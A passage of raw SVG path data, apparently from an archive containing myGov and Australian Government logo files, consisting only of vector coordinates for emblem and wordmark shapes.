d="M171.48,57.26v.58a.28.28,0,0,0,.27.28h2.09a.29.29,0,0,0,.28-.28v-.63a1.3,1.3,0,0,0,.42-1c0-2-1.11-.12-1.72-1.8-.44,1.42-1.77.23-1.77,1.75a1.2,1.2,0,0,0,.43,1.1Zm1.23-1.71c.57,0,1.47-.21,1.47.75,0,.68-.78.29-1.35.29s-1.35.39-1.35-.29c0-1,.66-.75,1.23-.75Z" transform="translate(-23 -22)"/><path class="cls-1" d="M191.66,80.36a.8.8,0,1,0,0-1.59.8.8,0,1,0,0,1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.42,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.52,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.75,52.53a.45.45,0,0,0,.42-.47s-.43-.85-.43-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.19,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.46.46,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,62a.46.46,0,0,0,.43.47A.45.45,0,0,0,159,62a5.17,5.17,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,71.62a.46.46,0,0,0,.43.47.45.45,0,0,0,.43-.47,4.8,4.8,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.25,79.24a.45.45,0,0,0,.42.47.46.46,0,0,0,.44-.47,5,5,0,0,0-.43-.84l-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.31,83.3a.43.43,0,1,0,.86,0,5.12,5.12,0,0,0-.43-.85l-.43.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,71.62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M186.2,79.24a.43.43,0,1,0,.86,0l-.44-.84a5,5,0,0,0-.42.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.14,83.3a.45.45,0,0,0,.43.48.46.46,0,0,0,.43-.48l-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M172.76,87.6a.43.43,0,1,0,.86,0l-.43-.84a5,5,0,0,0-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M179.89,75.35c-.4.83-.4,2-1.35,2.43a.75.75,0,0,0-.28.73l.23.19c.59-.32,1.72-.42,1.64-1.42a3.42,3.42,0,0,1,.86-1.19.94.94,0,0,1,1,.5A1.8,1.8,0,0,1,180.8,78c-.08.09,0,.23,0,.37.18.32.68.18,1,.14.77-.51,1.09-1.42,1.77-1.7.09.46-.91.6-.27,1,.41-.09.95.05,1.23-.5-.32-.78,1.08-1.14.22-1.83,0-.68.73-1,.69-1.69-.28-.74-1.14-.74-1.37-1.42a1,1,0,0,1,.95,0c.09.14.32.18.61.08l.27-.78c0-.05-.31-.36-.51-.31-.77.18-1.59.28-2.05,1a1.53,1.53,0,0,0,.73,1.19c.27-.09.32.18.5.32a.32.32,0,0,1-.32.41c-.54-.55-1.5.18-1.91-.5.19-.69.55-1.47,0-2.11,0-.14.27-.27.14-.41-.23-.64-.92-.14-1.33-.14a1.77,1.77,0,0,0-1.64.82,1.35,1.35,0,0,0,.37.69c.18,0,.27,0,.32.19l-.46.27a.9.9,0,0,1,.18.51c-.31.13-.63-.33-.77-.56s.05-1-.45-1.1a2,2,0,0,0-.4.14,1.32,1.32,0,0,0-.18.76,3.21,3.21,0,0,0,.17.81,7.69,7.69,0,0,1,1.72,1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M151.74,79.12a.8.8,0,1,0,0,1.59.8.8,0,1,0,0-1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104,107.23a.89.89,0,1,0,.89-.85.87.87,0,0,0-.89.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M145.86,122.61l0,.2,2-.23,0-.21c-.32,0-.79,0-.83-.25a4.87,4.87,0,0,1,.31-1.1l2.18-.26a4.48,4.48,0,0,1,.57,1c0,.28-.14.3-.74.41l0,.21,3.15-.37,0-.2c-.47.07-.65-.19-1.19-1l-2.66-4-.27,0-1.64,4.7c-.22.65-.32.94-.84,1.07Zm2.23-4,1.21,1.86-1.89.23.68-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M542,109.18H547v-19a13.49,13.49,0,0,1,3.47-2.93,7.75,7.75,0,0,1,4-1.16,5.33,5.33,0,0,1,4.28,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17q0-5.28-2.42-8t-7-2.72a10.6,10.6,0,0,0-5.35,1.3,14.06,14.06,0,0,0-4.12,3.6l.7,1.46V82.05H542v27.13Zm22.87-19a15.51,15.51,0,0,1,3.64-2.88,8.36,8.36,0,0,1,4.22-1.16,5.26,5.26,0,0,1,4.23,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17c0-3.52-.8-6.19-2.42-8s-4-2.72-7-2.72a11.65,11.65,0,0,0-5.52,1.27,18.28,18.28,0,0,0-4.66,3.63l1,3.77Zm26.43,30.63a9.9,9.9,0,0,0,7-2.59q2.81-2.58,5.06-8.45l11.09-27.72H609l-7.65,20.19-8.61-20.19h-5.6l12.22,27.56.11-3.55-1,2.58a14.29,14.29,0,0,1-3.66,5.79,7.28,7.28,0,0,1-4.79,1.69h-.27l1,4.69Zm54.07-12a31.32,31.32,0,0,0,6.43-2.58V90h-13v4.79h7.64v7.8a18.29,18.29,0,0,1-3.82,1.38,22.55,22.55,0,0,1-5.22.51,14.62,14.62,0,0,1-7.35-1.81,12.63,12.63,0,0,1-5-5.06,15.45,15.45,0,0,1-1.77-7.5A16,16,0,0,1,625,82.54a12.88,12.88,0,0,1,4.74-5.09,12.64,12.64,0,0,1,6.65-1.8,12.24,12.24,0,0,1,6.16,1.48,16.46,16.46,0,0,1,4.66,4l4.3-3.29a18.21,18.21,0,0,0-6.35-5.43,18.56,18.56,0,0,0-8.72-2,19,19,0,0,0-9.58,2.45A17.69,17.69,0,0,0,620,79.82a20.9,20.9,0,0,0-2.5,10.31,20.6,20.6,0,0,0,2.48,10.2,17.43,17.43,0,0,0,7,6.91,21.2,21.2,0,0,0,10.41,2.48,30.08,30.08,0,0,0,7.94-.92Zm35.34-.88a13,13,0,0,0,5.11-5,15.46,15.46,0,0,0,0-14.59,12.94,12.94,0,0,0-5.11-5,16.38,16.38,0,0,0-15,0,13.08,13.08,0,0,0-5.14,5,15.19,15.19,0,0,0,0,14.53,13.11,13.11,0,0,0,5.14,5,16.46,16.46,0,0,0,15,0Zm-12.22-4.12a8.42,8.42,0,0,1-3.28-3.31,10.56,10.56,0,0,1,0-9.74,8.38,8.38,0,0,1,3.28-3.32,10.09,10.09,0,0,1,9.47,0,8.32,8.32,0,0,1,3.26,3.29,10.8,10.8,0,0,1,0,9.74A8.25,8.25,0,0,1,678,103.8a10.15,10.15,0,0,1-9.5,0Zm32.19,5.38h4.52l11.3-27.13h-5.33l-9,22.45h1.62l-8.88-22.45h-5.6l11.36,27.13Z" transform="translate(-23 -22)"/></svg>mygov/app/login_files/myGov-cobranded-logo-white.svg000064400000175214151676702570016626 0ustar00<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 693.47 150.57"><defs><style>.cls-1{fill:#fff;}</style></defs><path class="cls-1" d="M420,22.09a8.76,8.76,0,0,0-8.76,8.76V53.51L455,97.33l-43.82,43.81v22.67A8.75,8.75,0,0,0,426.12,170l72.71-72.69L426.15,24.65a8.75,8.75,0,0,0-6.2-2.56Z" transform="translate(-23 -22)"/><path class="cls-1" d="M382.31,24.63a8.76,8.76,0,0,0-14.93,6.22V163.78a8.76,8.76,0,0,0,15,6.18l28.81-28.82V53.51L382.31,24.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M42.11,167.84,34.5,150.55h-.29l-7.54,16.82a12.72,12.72,0,0,1-1.81,3.19,3.17,3.17,0,0,1-1.86.94v.57h7v-.57a6,6,0,0,1-2.07-.38,1.4,1.4,0,0,1-.71-1.31,4.58,4.58,0,0,1,.43-1.69l.89-2.05H36l1.12,2.63c.29.68.44,1.07.46,1.16a2,2,0,0,1,.1.58.82.82,0,0,1-.35.71,3.13,3.13,0,0,1-1.72.35h-.42v.57h10.2v-.57a2.41,2.41,0,0,1-1.49-.57,10.4,10.4,0,0,1-1.79-3.09Zm-13-2.92,3.24-7.26,3.14,7.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M58.31,168.92V157.53H52.39v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v7.77a6.46,6.46,0,0,1-1.49,1.63,1.79,1.79,0,0,1-1,.3,1.28,1.28,0,0,1-.75-.23,1.38,1.38,0,0,1-.46-.69,8.14,8.14,0,0,1-.15-2v-9.93H44.18v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v5.76a13,13,0,0,0,.33,3.54,3.72,3.72,0,0,0,1.27,1.77,3.49,3.49,0,0,0,2.19.74,4.75,4.75,0,0,0,2.33-.56A7.51,7.51,0,0,0,54,170.13v1.94h5.93v-.56a1.82,1.82,0,0,1-1.27-.51,4.34,4.34,0,0,1-.31-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M67.32,162.68a15.49,15.49,0,0,1-2.78-2.19,1.29,1.29,0,0,1-.31-.81,1.33,1.33,0,0,1,.45-1,1.54,1.54,0,0,1,1.09-.43,3.25,3.25,0,0,1,2,.81,7.72,7.72,0,0,1,2,3h.54l-.24-5h-.53a3.33,3.33,0,0,1-.55.67.92.92,0,0,1-.44.1,1.46,1.46,0,0,1-.69-.23,5,5,0,0,0-2.29-.58,4.23,4.23,0,0,0-3.36,1.37,4.6,4.6,0,0,0-1.14,3,4.38,4.38,0,0,0,1,2.81,16.4,16.4,0,0,0,3.08,2.52,11.42,11.42,0,0,1,2.08,1.65,1.92,1.92,0,0,1,.47,1.29,1.53,1.53,0,0,1-.48,1.12,1.67,1.67,0,0,1-1.22.45,3.69,3.69,0,0,1-2.31-1,6.7,6.7,0,0,1-1.91-3.08h-.53l.25,5.23H62c.23-.52.51-.78.85-.78a2.06,2.06,0,0,1,.64.17,8.65,8.65,0,0,0,2.79.66,5,5,0,0,0,2.44-.63,4.32,4.32,0,0,0,1.71-1.78,5.07,5.07,0,0,0,.6-2.39,4.2,4.2,0,0,0-.73-2.41,11.08,11.08,0,0,0-3-2.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M77.76,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54H73.4v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.68,3.68,0,0,0,2.35.76,4.25,4.25,0,0,0,4.09-3l-.47-.34c-.6,1-1.24,1.54-1.91,1.54a.93.93,0,0,1-.55-.22,1.24,1.24,0,0,1-.41-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H77.76v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M92.94,157.1a3.8,3.8,0,0,0-2.1.74,10.67,10.67,0,0,0-2.53,3v-3.3H82.37v.58a2.36,2.36,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8a4.78,4.78,0,0,1-.35,2.35,1.69,1.69,0,0,1-1.27.51v.56h7.85v-.56a3.48,3.48,0,0,1-1.24-.23,1.36,1.36,0,0,1-.55-.63,3.58,3.58,0,0,1-.11-1.13v-4.21A10.59,10.59,0,0,1,88.8,162a3.22,3.22,0,0,1,1-1.51,1.29,1.29,0,0,1,.86-.34.68.68,0,0,1,.35.09c.07,0,.31.24.72.59a2.11,2.11,0,0,0,1.43.53,1.55,1.55,0,0,0,1.21-.57,2.39,2.39,0,0,0,.52-1.62,2,2,0,0,0-.54-1.51,1.77,1.77,0,0,0-1.38-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M107.85,170.28a.56.56,0,0,1-.36-.12.79.79,0,0,1-.23-.38,6,6,0,0,1-.08-1.26v-5.64a12.51,12.51,0,0,0-.22-3,4,4,0,0,0-1.57-1.9,5.39,5.39,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.5,5.5,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.82,1.82,0,0,0,.66,1.39,2.38,2.38,0,0,0,1.64.58,2.07,2.07,0,0,0,1.48-.52,1.75,1.75,0,0,0,.58-1.31,2,2,0,0,0-.6-1.29,1.34,1.34,0,0,1-.43-.81.77.77,0,0,1,.4-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.61,1.61,0,0,1,.66.75,6.5,6.5,0,0,1,.19,2.07v1.46a26.31,26.31,0,0,0-6.23,3.55,4,4,0,0,0-1.43,3,2.76,2.76,0,0,0,.82,2.05,2.84,2.84,0,0,0,2.07.81q2.1,0,4.77-2.35a2.72,2.72,0,0,0,.86,1.78,3,3,0,0,0,1.94.57,3.49,3.49,0,0,0,1.88-.51,5.94,5.94,0,0,0,1.62-1.68l-.46-.37a1.13,1.13,0,0,1-.83.57Zm-5-1.49a3,3,0,0,1-1.8.87,1.45,1.45,0,0,1-1.09-.42,1.79,1.79,0,0,1-.52-1.26,2.93,2.93,0,0,1,.61-1.7,9,9,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.48,169.05V151h-6.1v.58a1.9,1.9,0,0,1,1.39.5,3.47,3.47,0,0,1,.35,1.94v15.05a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a2,2,0,0,1-1.4-.48,3.53,3.53,0,0,1-.35-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.74,152.9a2.39,2.39,0,0,0,2.39,2.39,2.32,2.32,0,0,0,1.7-.7,2.4,2.4,0,0,0-1.7-4.1,2.25,2.25,0,0,0-1.69.71,2.3,2.3,0,0,0-.7,1.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M124.31,169.05V157.53h-6.1v.58a1.9,1.9,0,0,1,1.39.49,3.44,3.44,0,0,1,.35,2v8.49a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a1.94,1.94,0,0,1-1.39-.48,3.5,3.5,0,0,1-.36-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.55,170.28a.55.55,0,0,1-.35-.12.67.67,0,0,1-.23-.38,5.11,5.11,0,0,1-.09-1.26v-5.64a12.71,12.71,0,0,0-.21-3,4,4,0,0,0-1.57-1.9,5.37,5.37,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.55,5.55,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.81,1.81,0,0,0,.65,1.39,2.41,2.41,0,0,0,1.65.58,2.09,2.09,0,0,0,1.48-.52,1.74,1.74,0,0,0,.57-1.31,2,2,0,0,0-.59-1.29,1.36,1.36,0,0,1-.44-.81.79.79,0,0,1,.41-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.64,1.64,0,0,1,.67.75,7,7,0,0,1,.18,2.07v1.46a26.67,26.67,0,0,0-6.24,3.55,4,4,0,0,0-1.43,3,2.77,2.77,0,0,0,.83,2.05,2.8,2.8,0,0,0,2.07.81c1.4,0,3-.78,4.77-2.35a2.71,2.71,0,0,0,.85,1.78,3,3,0,0,0,1.94.57,3.52,3.52,0,0,0,1.89-.51,5.94,5.94,0,0,0,1.62-1.68l-.47-.37c-.28.38-.55.57-.83.57Zm-5-1.49a3,3,0,0,1-1.81.87,1.42,1.42,0,0,1-1.08-.42,1.74,1.74,0,0,1-.51-1.26,2.91,2.91,0,0,1,.6-1.7,9.17,9.17,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M155.31,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.69,3.69,0,0,0-1.25-1.94,3.47,3.47,0,0,0-2.34-.79,4.46,4.46,0,0,0-2.21.56,8.39,8.39,0,0,0-2.15,1.75v-1.88h-5.92v.58a1.86,1.86,0,0,1,1.26.52,4.18,4.18,0,0,1,.31,2.06v8.21a4.27,4.27,0,0,1-.27,2,1.79,1.79,0,0,1-1.3.59v.56h7.36v-.56a1.58,1.58,0,0,1-1.14-.54,4.38,4.38,0,0,1-.3-2.07v-7.79q1.15-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.29,1.29,0,0,1,.48.71,10,10,0,0,1,.15,2.26v6.47a4.29,4.29,0,0,1-.26,1.92,1.5,1.5,0,0,1-1.17.69v.56h7.35v-.56a1.85,1.85,0,0,1-1.28-.51,4.61,4.61,0,0,1-.29-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M177.74,163.8h.55a2.73,2.73,0,0,1,1.29.29,1.6,1.6,0,0,1,.71.67,4.49,4.49,0,0,1,.17,1.6v4.39a10.9,10.9,0,0,1-1.65.48,8.24,8.24,0,0,1-1.55.16,6.65,6.65,0,0,1-3.8-1.08,6.12,6.12,0,0,1-2.3-3.35,17.83,17.83,0,0,1-.71-5.33,18.58,18.58,0,0,1,.65-4.88,7.24,7.24,0,0,1,2.22-3.7,5.87,5.87,0,0,1,3.94-1.33,7.3,7.3,0,0,1,4.55,1.58,9.37,9.37,0,0,1,3.13,4.64h.58V150.5h-.58a2.87,2.87,0,0,1-.69,1.22,1.24,1.24,0,0,1-.8.31,8.9,8.9,0,0,1-1.82-.58,13.93,13.93,0,0,0-2.21-.71,14.32,14.32,0,0,0-2.83-.25,11.51,11.51,0,0,0-8.41,3.28,10.8,10.8,0,0,0-3.34,8,10.55,10.55,0,0,0,1.08,4.8,10.2,10.2,0,0,0,2.37,3,12.76,12.76,0,0,0,3.5,2.15,13.29,13.29,0,0,0,5,.81,21.59,21.59,0,0,0,4.52-.47,20.56,20.56,0,0,0,4.22-1.35v-4.39a4.57,4.57,0,0,1,.14-1.45,1.56,1.56,0,0,1,.7-.79,4.44,4.44,0,0,1,1.63-.32v-.58H177.74v.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M199.14,158.07a6.78,6.78,0,0,0-3.53-1,5.93,5.93,0,0,0-5,2.33,8.55,8.55,0,0,0-1.81,5.44,8.44,8.44,0,0,0,1.78,5.33,6,6,0,0,0,5,2.3A6.23,6.23,0,0,0,200.9,170a8.41,8.41,0,0,0,1.57-5.18,9.18,9.18,0,0,0-.86-4,6.25,6.25,0,0,0-2.47-2.78Zm-1.56,11.49a2.58,2.58,0,0,1-.8,1.48,1.76,1.76,0,0,1-1.17.39,1.7,1.7,0,0,1-1.27-.58,3,3,0,0,1-.74-1.68,21.43,21.43,0,0,1-.22-3.1c0-2.1.06-3.73.18-4.9a4.12,4.12,0,0,1,.75-2.36,1.8,1.8,0,0,1,1.36-.61,1.62,1.62,0,0,1,1.06.33,2.71,2.71,0,0,1,.87,1.44,14.56,14.56,0,0,1,.3,3.63,34.05,34.05,0,0,1-.32,6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.34,157.53h-4.76v.58a2,2,0,0,1,1.22.33,1,1,0,0,1,.36.78,9.38,9.38,0,0,1-.82,2.87l-1.91,4.71-2.4-5.46a7.13,7.13,0,0,1-.68-2.16,1.06,1.06,0,0,1,.37-.81,1.45,1.45,0,0,1,1-.26v-.58H202v.58a1.79,1.79,0,0,1,1,.54,10.58,10.58,0,0,1,1.39,2.58l4.9,11.28h.73l4.85-11.42a9.4,9.4,0,0,1,1.31-2.47,1.91,1.91,0,0,1,1.12-.51v-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227,158.91a5,5,0,0,0-3.83-1.81,6.09,6.09,0,0,0-4.62,2.16,8.26,8.26,0,0,0-2,5.78,8.81,8.81,0,0,0,1.34,5,5.52,5.52,0,0,0,4.9,2.48,5.65,5.65,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.75-5.37Zm-6.3,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.31,1.31,0,0,1,.87.27,2.81,2.81,0,0,1,.84,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240.3,157.1a3.75,3.75,0,0,0-2.09.74,10.5,10.5,0,0,0-2.54,3v-3.3h-5.94v.58a2.28,2.28,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8A4.82,4.82,0,0,1,231,171a1.7,1.7,0,0,1-1.28.51v.56h7.86v-.56a3.49,3.49,0,0,1-1.25-.23,1.29,1.29,0,0,1-.54-.63,3.58,3.58,0,0,1-.11-1.13l0-.87v-3.34a10.58,10.58,0,0,1,.5-3.33,3.15,3.15,0,0,1,1-1.51,1.28,1.28,0,0,1,.85-.34.74.74,0,0,1,.36.09,8.94,8.94,0,0,1,.71.59,2.13,2.13,0,0,0,1.43.53,1.57,1.57,0,0,0,1.22-.57,2.44,2.44,0,0,0,.51-1.62,2,2,0,0,0-.53-1.51,1.79,1.79,0,0,0-1.39-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M257.27,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.67,3.67,0,0,0-1.24-1.94,3.5,3.5,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.37,8.37,0,0,0-2.14,1.75v-1.88h-5.93v.58a1.83,1.83,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.82,1.82,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.57,4.57,0,0,1-.29-2.07v-7.79q1.15-1.92,2.49-1.92a1.14,1.14,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.82,1.82,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M283,168.9v-6a12,12,0,0,0-.35-3.39,3.54,3.54,0,0,0-1.24-1.75,3.78,3.78,0,0,0-2.4-.7,4.94,4.94,0,0,0-2.4.62,9.2,9.2,0,0,0-2.38,2,3.74,3.74,0,0,0-3.81-2.64,4.74,4.74,0,0,0-2.24.53,8,8,0,0,0-2.2,1.81v-1.91H260v.58a1.81,1.81,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v8.21a4.33,4.33,0,0,1-.26,2,1.82,1.82,0,0,1-1.31.59v.56h7.5v-.56a1.62,1.62,0,0,1-1.28-.58,4.53,4.53,0,0,1-.29-2v-7.81a6,6,0,0,1,1.56-1.65,2.08,2.08,0,0,1,1.13-.33,1.21,1.21,0,0,1,.77.29,1.43,1.43,0,0,1,.53.77,10.93,10.93,0,0,1,.16,2.48v6.25a6.37,6.37,0,0,1-.13,1.66,1.27,1.27,0,0,1-.46.65,1.65,1.65,0,0,1-.95.3v.56h7.53v-.56a1.61,1.61,0,0,1-1.37-.64,4.36,4.36,0,0,1-.27-2v-7.81a6.14,6.14,0,0,1,1.39-1.46,2.28,2.28,0,0,1,1.35-.5,1.19,1.19,0,0,1,.78.27,1.4,1.4,0,0,1,.49.77,11.17,11.17,0,0,1,.16,2.48v6.25a4,4,0,0,1-.28,1.92,1.66,1.66,0,0,1-1.31.69v.56h7.51v-.56a1.86,1.86,0,0,1-1.27-.53,4.29,4.29,0,0,1-.3-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M295.7,158.91a4.94,4.94,0,0,0-3.82-1.81,6.09,6.09,0,0,0-4.62,2.16,8.21,8.21,0,0,0-1.95,5.78,8.81,8.81,0,0,0,1.33,5,5.51,5.51,0,0,0,4.9,2.48,5.69,5.69,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.76-5.37Zm-6.29,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.28,1.28,0,0,1,.86.27,2.82,2.82,0,0,1,.85,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M312.14,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.73,3.73,0,0,0-1.24-1.94,3.48,3.48,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.2,8.2,0,0,0-2.14,1.75v-1.88H298v.58a1.81,1.81,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.8,1.8,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.42,4.42,0,0,1-.29-2.07v-7.79q1.14-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.8,1.8,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M319.9,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54h1.89v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.66,3.66,0,0,0,2.35.76,4.26,4.26,0,0,0,4.09-3l-.46-.34c-.61,1-1.24,1.54-1.92,1.54a.88.88,0,0,1-.54-.22,1.19,1.19,0,0,1-.42-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H319.9v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M148,113.37l-.4.4a1,1,0,0,0,.4-.4Z" transform="translate(-23 -22)"/><path class="cls-1" d="M152.35,84.13a.76.76,0,1,0-.76.77.77.77,0,0,0,.76-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.43,52.72h0l0,22.16c0,2.14.9,4,2.15,4.58l10.55,6.3a1.26,1.26,0,0,0,1.82.1l10.71-6.4c1.26-.57,2.16-2.44,2.16-4.58l0-22.16H159.43Zm4.51,2.14.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.09v.47l-.4-.3-.41.3v-.47l-.43-.09.34-.35-.21-.39Zm-.12,5c.8,0,.57.77.71.77s0-.77.52-.77c.79,0,1.78,2,.88,2-.38,0-.07-.28-.08-.34s-.21-.18-.29-.18c-.26,0-.36.42-.58.44s-.26,0-.26-.18.32-.25.45-.37c-1.79,0-1.82.81-2.09.81-.47,0,.39-.86.63-1.11-.36-.06-.57-.5-1-.72.18-.27.29-.16.52,0,0-.19.14-.4.55-.4Zm0,6.75.34-.35-.21-.39.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.08v.48l-.4-.3-.41.3v-.48l-.43-.08Zm-3.6-13.13h2.89v5.68h-2.89V53.47Zm.35,7.65.34-.35-.21-.38.44,0,.26-.47.27.46.45,0-.22.38.34.35-.43.09v.48l-.41-.31-.4.31v-.48l-.43-.09Zm-.35,1.68h2.89v5.38h-2.89V62.8Zm8.34,19.94L162,78.82a4.7,4.7,0,0,1-1.78-3.65V68.93h8.34V82.74Zm0-14.56h-2.37V62.8h2.37v5.38ZM167,60.39l.44,0,.27-.47.26.46.45,0-.21.38.34.35-.44.09v.48l-.4-.31-.41.31v-.48l-.43-.09.34-.35-.21-.38Zm1.59-1.24h-2.37V53.47h2.37v5.68Zm8.46,24L174,85h-.05a1.24,1.24,0,0,1-.8.29,1.27,1.27,0,0,1-.8-.3l-3-1.8V68.93H177V83.19Zm0-15H169.3V53.47H177V68.18Zm9.09,7a4.66,4.66,0,0,1-1.78,3.65l-6.57,3.92V68.93h8.35v6.24Zm0-7h-8.35V53.47h8.35V68.18Z" transform="translate(-23 -22)"/><path class="cls-1" 